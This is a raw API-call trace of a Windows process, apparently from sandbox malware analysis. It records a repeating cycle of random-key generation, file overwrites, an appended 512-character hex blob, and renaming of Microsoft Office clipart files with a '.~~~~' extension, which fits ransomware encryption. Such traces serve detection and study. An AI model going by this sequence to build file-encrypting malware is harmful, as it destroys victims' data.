	[0116.831] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.831] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.831] CloseHandle (hObject=0x148) returned 1
	[0116.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6d18
	[0116.832] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf.~~~~")) returned 1
	[0116.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6d18 | out: hHeap=0x300000) returned 1
	[0116.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0116.833] GetLastError () returned 0x0
	[0116.834] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0116.835] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.835] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0116.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0116.835] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23682516865) returned 1
	[0116.835] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaf1fe0b0, dwHighDateTime=0x1d60e1e)) 
	[0116.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0116.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0116.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0116.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8928
	[0116.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8928 | out: hHeap=0x300000) returned 1
	[0116.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6d18
	[0116.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1a38
	[0116.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6d18 | out: hHeap=0x300000) returned 1
	[0116.836] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0116.836] GetLastError () returned 0x0
	[0116.836] GetLastError () returned 0x0
	[0116.836] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0116.836] GetLastError () returned 0x0
	[0116.836] GetLastError () returned 0x0
	[0116.839] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffd3d4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.839] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x2c2c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x2c2c, lpOverlapped=0x0) returned 1
	[0116.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0116.841] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.841] WriteFile (in: hFile=0x148, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.841] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.841] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.841] CloseHandle (hObject=0x148) returned 1
	[0116.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6d18
	[0116.841] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf.~~~~")) returned 1
	[0116.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6d18 | out: hHeap=0x300000) returned 1
	[0116.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0116.843] GetLastError () returned 0x0
	[0116.913] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0116.914] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.914] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0116.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0116.914] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23690450922) returned 1
	[0116.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaf2bc790, dwHighDateTime=0x1d60e1e)) 
	[0116.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0116.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0116.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0116.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8ab0
	[0116.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8ab0 | out: hHeap=0x300000) returned 1
	[0116.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0116.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1dc8
	[0116.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.916] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0116.916] GetLastError () returned 0x0
	[0116.916] GetLastError () returned 0x0
	[0116.916] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0116.916] GetLastError () returned 0x0
	[0116.916] GetLastError () returned 0x0
	[0116.921] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffcf36, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.921] WriteFile (in: hFile=0x148, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x30ca, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x30ca, lpOverlapped=0x0) returned 1
	[0116.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0116.923] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.923] WriteFile (in: hFile=0x148, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.924] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.924] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.924] CloseHandle (hObject=0x148) returned 1
	[0116.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
	[0116.924] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf.~~~~")) returned 1
	[0116.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0116.925] GetLastError () returned 0x0
	[0116.926] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0116.928] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.928] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0116.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0116.928] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23691795042) returned 1
	[0116.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaf2e28f0, dwHighDateTime=0x1d60e1e)) 
	[0116.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0116.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0116.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0116.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8ae8
	[0116.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8ae8 | out: hHeap=0x300000) returned 1
	[0116.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0116.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1b68
	[0116.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.929] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0116.929] GetLastError () returned 0x0
	[0116.929] GetLastError () returned 0x0
	[0116.929] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0116.929] GetLastError () returned 0x0
	[0116.929] GetLastError () returned 0x0
	[0116.934] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff178, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.934] WriteFile (in: hFile=0x148, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0xe88, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0xe88, lpOverlapped=0x0) returned 1
	[0116.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0116.942] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.942] WriteFile (in: hFile=0x148, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.943] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.943] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.943] CloseHandle (hObject=0x148) returned 1
	[0116.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
	[0116.943] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf.~~~~")) returned 1
	[0116.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0116.949] GetLastError () returned 0x0
	[0116.949] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0116.951] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.951] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0116.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0116.951] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23694105709) returned 1
	[0116.951] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaf32ebb0, dwHighDateTime=0x1d60e1e)) 
	[0116.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0116.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0116.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0116.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8b20
	[0116.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8b20 | out: hHeap=0x300000) returned 1
	[0116.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0116.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1f90
	[0116.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.952] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0116.952] GetLastError () returned 0x0
	[0116.952] GetLastError () returned 0x0
	[0116.952] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0116.952] GetLastError () returned 0x0
	[0116.952] GetLastError () returned 0x0
	[0116.955] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff720, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.955] WriteFile (in: hFile=0x148, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x8e0, lpOverlapped=0x0) returned 1
	[0116.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0116.957] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.957] WriteFile (in: hFile=0x148, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.957] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.957] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.957] CloseHandle (hObject=0x148) returned 1
	[0117.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.049] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf.~~~~")) returned 1
	[0117.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0117.105] GetLastError () returned 0x0
	[0117.108] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0117.110] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.110] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0117.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0117.110] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23710010670) returned 1
	[0117.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaf4ab970, dwHighDateTime=0x1d60e1e)) 
	[0117.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0117.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0117.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0117.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8df8
	[0117.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8df8 | out: hHeap=0x300000) returned 1
	[0117.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2028
	[0117.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.111] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0117.111] GetLastError () returned 0x0
	[0117.111] GetLastError () returned 0x0
	[0117.111] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0117.111] GetLastError () returned 0x0
	[0117.112] GetLastError () returned 0x0
	[0117.115] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffe636, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.115] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x19ca, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x19ca, lpOverlapped=0x0) returned 1
	[0117.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
